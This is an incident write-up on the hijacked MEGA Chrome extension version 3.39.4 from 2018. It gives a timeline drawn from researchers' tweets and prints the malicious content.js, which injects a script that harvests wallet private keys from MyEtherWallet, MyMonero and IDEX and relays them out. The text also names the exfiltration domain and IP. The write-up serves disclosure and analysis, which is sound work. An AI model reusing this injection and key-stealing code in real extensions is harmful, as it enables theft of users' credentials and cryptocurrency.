TLDR;

On 4 September at 14:30 UTC, an unknown attacker managed to hack into MEGA’s Google Chrome web store account and upload a malicious version 3.39.4 of an extension to the web store, according to a blog post published by the company. Upon installation or auto-update, the malicious extension asked for elevated permissions to access personal information, allowing it to steal login/register credentials from ANY websites like Amazon, Github, and Google, along with online wallets such as MyEtherWallet and MyMonero, and Idex.market cryptocurrency trading platform. The trojanized Mega extension then sent all the stolen information back to an attacker’s server located at megaopac[.]host in Ukraine, which is then used by the attackers to log in to the victims' accounts, and also extract the cryptocurrency private keys to steal users' digital currencies.

Detailed timeline

14:30 UTC on 4th September 2018

An unknown attacked managed to log into the Chrome Extension Store profile, used by MEGA Team. A new MEGA Chrome extension version (3.39.4) has been uploaded.

16:00 UTC on 4th September 2018

A reddit user (/u/gattacus) noticed some unwanted changes to the latest version of Mega Chrome Extension. The Chrome browser originally asked for new permissions about reading all the content from a web page. He was looking for its source code and he discovered a probably cryptocurrency-keys logging. Then he posted this thread for having some confirmations from the community.

And I’ll read it. I supposed “Whoa, another security issue” but I was looking for the source code too. Then it happens! I discovered a keylogger which could log password, username and even sessions!

17:16 UTC on 4th September 2018

After the discovering of keylogging, I posted a warning on Twitter. The InfoSec Community and some security researches confirmed this issue.

!!! WARNING !!!!!!! PLEASE PAY ATTENTION!!



LATEST VERSION OF MEGA CHROME EXTENSION WAS HACKED.



Version: 3.39.4



It catches your username and password from Amazon, GitHub, Google, Microsoft portals!! It could catch #mega #extension #hacked@x0rz pic.twitter.com/TnPalqj1cz — SerHack (@serhack_) September 4, 2018

17:45 UTC on 4th September 2018

A security engineer, Jeremiah O’Connor, confirmed that infrastructure was related to AWS/MEW BGP attack.

“That infrastructure has heavily targeted $xmr, $eth, and more in the past via @GoogleAds, and related to AWS/MEW BGP hack https://pic.twitter.com/VWS31fzrB4" – Jeremiah O’Connor (Twitter profile removed)

18:09 UTC on 4th September 2018

Megaopac[.]host domain seems to have a login panel. Unfortunately, I did not any research about this.

“What is this? … hxxps://megaopac[.]host/login.html …” – David Montenegro (@CryptoInsane) [post removed]

18:50 UTC on 4th September 2018

Riccardo Spagni as known as Fluffypony - ex-owner of MyMonero - confirms that also extracts private keys.

Confirmed that it also extracts private keys if you login to MyMonero and/or MyEtherWallet in a browser with the extension installed. https://t.co/fpVK11zZ9Z — Riccardo Spagni (@fluffypony) September 4, 2018

19:19 UTC on 4th September 2018

Google removed the malicious MEGA Chrome Extension version 3.39.4

20:18 UTC on 4th September 2018

Namecheap forwared the request to block megaopac[.]host to the “Abuse” team.

@serhack_ Thanks for reaching out to us! The issue was reported to a corresponding team. We will take the necessary measures. — Namecheap.com (@Namecheap) September 4, 2018

20.19 UTC on 4th September 2018

NameCheap blocks megaopac[.]host domain. Several people confirms that.

problem solved ~ @Logout

20:53 UTC on 4th September 2018

Andrea Draghetti shared a completed NMAP analysis performed on megaopac[.]host domain. The ssl was certified by Let’s Encrypt Certificate, DNS commonName=la02abd2.justinstalledpanel.com . VPS IP is hosted on Ukraine.

Nmap of the server: https://t.co/YJWmooICq9 — Andrea Draghetti 👨🏻‍💻 🎣 (@AndreaDraghetti) September 4, 2018

20:47 UTC on 4th September 2018

Emanuele Gentili confirmed to me that VPS is allocated on Ukraine. Translated tweet: The VPS is allocated to the company Ukraine Multi DC (multi-dc [.] Com) known to sell colocation and servers to numerous partners acting as resellers in Eastern Europe (site only in Russian).

Il VPS su cui si attesta il C2 risulta essere allocato presso l’azienda Ucraina Multi DC (multi-dc[.]com) nota per vendere colocation e server a numerosi partner che fungono da reseller nell'est europa (sito solo in lingua russa). — Emanuele Gentili (@emgent) September 4, 2018

21:07 UTC on 4th September 2018

Emanuele Gentili performed an analysis on files changed by the unknown user. The timeline could coincide with Ukraine timezone. Translated tweet: Analysis of metadata for the original extension shows the threat actor’s preparation timeline.

Analisi dei metadati dell'estensione originale mostra la timeline di preparazione del threat actor. #MegaHax pic.twitter.com/kBQtNjrZ4R — Emanuele Gentili (@emgent) September 4, 2018

22:53 UTC on 4th September 2018

Security researches confirmed that it could log any POST request where the url contained special strings like “login”, “register”, “sign in” etc… 🤦

Dunno how nobody posted this here yet, but it also tries to capture credentials for _ANY_ site with common form parameters. pic.twitter.com/n6OzzIKHq1 — niklas (@drdaxxy) September 4, 2018

5:55 UTC on 5th September 2018

MEGA confirmed the attack and they have released a blog post about that.

Security warning for MEGA Chrome Extension users: v3.39.4 was a malicious update from an unknown attacker. This version would request additional permissions. Anyone who accepted them while it was live for 4 hours may have been compromised and should read https://t.co/tW7EDqKIci — MEGA (@MEGAprivacy) September 5, 2018

How it works

Firstly, the extension loads a custom script if the url is matched to domains contained in the “matches” array. “matches”: [ “file:///”, “https://www.myetherwallet.com/”, “https://mymonero.com/”, “https://idex.market/” ] In this version, there’s a new file called content.js which has interesting code.

function onWindowLoad () { $ ( "body" ). append ( '<\/script\/> {' + 'var lAdr = "";' + 'var lPK = "";' + 'var lma="";' + 'var imsa="";' + 'setInterval(function() {' + ' var x = document.getElementsByTagName("main");' + ' var i;' + ' \\for (i = 0; i < x.length; i++) {' + ' if ((x[i].className == "tab-pane active ng-scope") || (x[i].className == "tab-pane block--container active ng-scope")) { ' + ' var scope = angular.element(x[i]).scope();' + ' if (scope != null && scope.wallet != null) {' + ' if (lAdr != scope.wallet.getAddressString() || lPK != scope.wallet.getPrivateKeyString()) {' + ' lAdr = scope.wallet.getAddressString();' + ' lPK = scope.wallet.getPrivateKeyString();' + ' document.dispatchEvent(new CustomEvent(\"nmew\", { detail: { address: lAdr, pkey: lPK } }));' + ' }' + ' }' + ' }' + ' }' + ' ' + ' var z = document.getElementsByTagName("body");' + ' for (i = 0; i < z.length; i++) {' + ' if (z[i].className == "ng-scope") { ' + ' var scope = angular.element(z[i]).scope();' + ' if (scope != null && scope.address != null && scope.spend_key != null && scope.view_key != null) {' + ' if (lma != scope.address) {' + ' lma = scope.address;' + ' document.dispatchEvent(new CustomEvent(\"nmm\", { detail: { address: lma, keys: scope.view_key + " " + scope.spend_key} }));' + ' }' + ' }' + ' }' + ' }' + ' if (localStorage && configuration) {' + ' let state = localStorage.getItem("state");' + ' let keySalt = configuration.keySalt;' + ' if (state && keySalt) {' + ' var selAcc = JSON.parse(state)["selectedAccount"];' + ' if (imsa != selAcc) {' + ' document.dispatchEvent(new CustomEvent(\"imm\", { detail: { data: state, salt: keySalt } }));' + ' imsa = selAcc;' + ' }' + ' }' + ' }' + '}, 2000);' + '} ' ); } window. onload = onWindowLoad ; document. addEventListener ( "nmew" , function ( ev ) { chrome . runtime . sendMessage ({ action : "nmewm" , address : ev . detail [ "address" ], keys : ev . detail [ "pkey" ]}); }); document. addEventListener ( "nmm" , function ( ev ) { chrome . runtime . sendMessage ({ action : "nmmm" , address : ev . detail [ "address" ], keys : ev . detail [ "keys" ]}); }); document. addEventListener ( "imm" , function ( ev ) { chrome . runtime . sendMessage ({ action : "immm" , data : ev . detail [ "data" ], salt : ev . detail [ "salt" ]}); });

Naturally, the script code isn’t included in the file JS but it’s technically injected on WindowsLoad, probably for evading some filters. The script has the ability to take the private keys from the modal and then it uses the chrome.runtime.sendMessage to send the keys to the owner of extension.

The second goal of logging was intercepting POST fields from Amazon, Google, Microsoft and Github platforms. All the data were sent to a domain called megaopac[.]host and IPv4 176.119.1[.]146. Each website logged or tracked has had a special “id”.

It would also perform monitoring of any form submission where the URL contains the strings Register or Login or variables exist that are named “username”, “email”, “user”, “login”, “usr”, “pass”, “passwd”, or “password”.

The blog post

“We would like to apologise for this significant incident. MEGA uses strict release procedures with multi-party code review, robust build workflow and cryptographic signatures where possible,” the blog post continued. “Unfortunately, Google decided to disallow publisher signatures on Chrome extensions and is now relying solely on signing them automatically after upload to the Chrome webstore, which removes an important barrier to external compromise. MEGAsync and our Firefox extension are signed and hosted by us and could therefore not have fallen victim to this attack vector. While our mobile apps are hosted by Apple/Google/Microsoft, they are cryptographically signed by us and therefore immune as well.”